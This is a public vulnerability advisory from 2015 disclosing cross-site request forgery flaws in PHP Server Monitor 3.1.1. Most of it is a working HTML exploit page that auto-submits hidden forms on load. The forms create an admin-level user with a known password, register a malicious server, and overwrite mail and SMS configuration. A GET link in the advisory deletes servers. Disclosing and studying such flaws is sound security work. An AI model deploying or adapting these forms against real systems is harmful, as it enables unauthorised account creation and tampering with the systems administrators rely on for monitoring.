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[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-PHPSRVMONITOR-CSRF.txt Vendor: ================================ www.phpservermonitor.org sourceforge.net/projects/phpservermon/files/phpservermon/PHP%20Server%20Monitor%20v3.1.1/phpservermon-3.1.1.zip/download Product: ================================ PHP Server Monitor 3.1.1 Vulnerability Type: ================================= Cross site request forgery (CSRF) Vulnerability Details: ===================== Multiple CSRF issues in PHP Server Monitor allow remote attackers to add arbitrary users & servers to the system, modify system configurations and delete arbitrary servers, if user (admin) is logged in and visits our malicious website or clicks on our infected linxs. As no CRSF protection is used in the application, we can make request on the victims behalf an the server will happily oblige processing our malicous HTTP requests. Exploit code(s): =============== <!DOCTYPE> <html> <body onLoad="doit()"> <script> function doit(){ var e=document.getElementById('HELL') e.submit() } </script> 1) add arbitrary users to the system: <form id="HELL" action=" http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=0" method="post"> <input type="text" name="user_name" value="hyp3rlinx" > <input type="text" name="name" value="hyp3rlinx"> <input type="text" name="level" value="20"> <input type="text" name="password" value="abc123"> <input type="text" name="password_repeat" value="abc123"> <input type="text" name="email" value="ghostofsin@abyss.com"> <input type="text" name="mobile" value=""> <input type="text" name="pushover_key" value=""> <input type="text" name="pushover_device" value=""> </form> 2) add arbitrary servers to the system: <form id="HELL" action=" http://localhost/phpservermon-3.1.1/?&mod=server&action=save&id=0&back_to=" method="post"> <input type="text" name="label" value="HELL" > <input type="text" name="ip" value="malicious-domain.hell"> <input type="text" name="type" value="service"> <input type="text" name="port" value="666"> <input type="text" name="pattern" value=""> <input type="text" name="warning_threshold" value="1"> <input type="text" name="timeout" value=""> <input type="text" name="active" value="yes"> <input type="text" name="email" value="yes"> <input type="text" name="sms" value="yes"> <input type="text" name="pushover" value="yes"> </form> 3) modify system configuration: <form id="HELL" action=" http://localhost/phpservermon-3.1.1/index.php?mod=config&action=save" method="post"> <input type="text" name="language" value="en_US" > <input type="text" name="show_update%5B%5D=" value="on"> <input type="text" name="auto_refresh_servers" value="0"> <input type="text" name="alert_type" value="status"> <input type="text" name="log_status%5B%5D" value="on"> <input type="text" name="log_retention_period" value="1"> <input type="text" name="email_status%5B%5D" value="on"> <input type="text" name="log_email%5B%5D" value="on"> <input type="text" name="email_from_name" value="ghostofsin"> <input type="text" name="email_from_email" value="abysmalgodz@abyss.com"> <input type="text" name="email_smtp_port" value="25"> <input type="text" name="email_smtp_security" value=""> <input type="text" name="email_smtp_username" value=""> <input type="text" name="email_smtp_password" value=""> <input type="text" name="test_email" value="1"> <input type="text" name="log_sms%5B%5D" value="on"> <input type="text" name="sms_gateway" value="whatever"> <input type="text" name="sms_gateway_username" value="username"> <input type="text" name="sms_gateway_password" value="password"> <input type="text" name="sms_from" value="1234567890"> <input type="text" name="test_sms" value="0"> <input type="text" name="sms_from" value="1234567890"> <input type="text" name="log_pushover%5B%5D" value="0"> <input type="text" name="pushover_api_token" value=""> <input type="text" name="test_pushover" value="0"> </form> </body> </html> 4) arbitrary server deletion via GET request: http://localhost/sectest/phpservermon-3.1.1/?&mod=server&action=delete&id=2 Exploitation Technique: ======================= Remote Severity Level: ========================================================= High Disclosure Timeline: ========================================================= Vendor Notification: NA Oct 30, 2015: Public Disclosure Description: ========================================================== Request Method(s):[+]GET / POST Vulnerable Product: [+]PHP Server Monitor 3.1.1 =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx |
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